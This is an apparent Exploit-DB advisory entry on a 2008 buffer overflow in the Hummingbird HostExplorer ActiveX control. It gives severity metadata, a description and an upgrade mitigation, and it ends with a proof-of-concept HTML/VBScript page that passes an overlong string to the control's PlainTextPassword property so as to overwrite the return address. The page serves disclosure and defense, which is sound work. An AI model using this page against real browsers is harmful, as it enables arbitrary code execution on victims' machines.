Hummingbird HostExplorer ActiveX Control Buffer Overflow Vulnerability

vendor:

HostExplorer

by:

Thomas Pollet

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: HostExplorer

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2008

Hummingbird HostExplorer ActiveX Control Buffer Overflow Vulnerability

Hummingbird HostExplorer ActiveX control is prone to a buffer-overflow vulnerability because the application fails to adequately check boundaries on user-supplied input. An attacker can exploit this issue to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

Mitigation:

Upgrade to the latest version of the Hummingbird HostExplorer ActiveX control.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/31783/info

Hummingbird HostExplorer ActiveX control is prone to a buffer-overflow vulnerability because the application fails to adequately check boundaries on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions. 

<html> <!-- the latest version of this activex (13.0) is compiled with /gs, earlier versions aren't. The XXXX would have overwritten return address. by thomas.pollet@gmail.com --> <object classid='clsid:FFB6CC68-702D-4FE2-A8E7-4DE23835F0D2' id='target' ></object> <script language='vbscript'> arg1="001101220123012401250126012701280129012:012;012<012=012>012?012@012A012B012C012D012E012FXXXX" target.PlainTextPassword = arg1 </script> </html>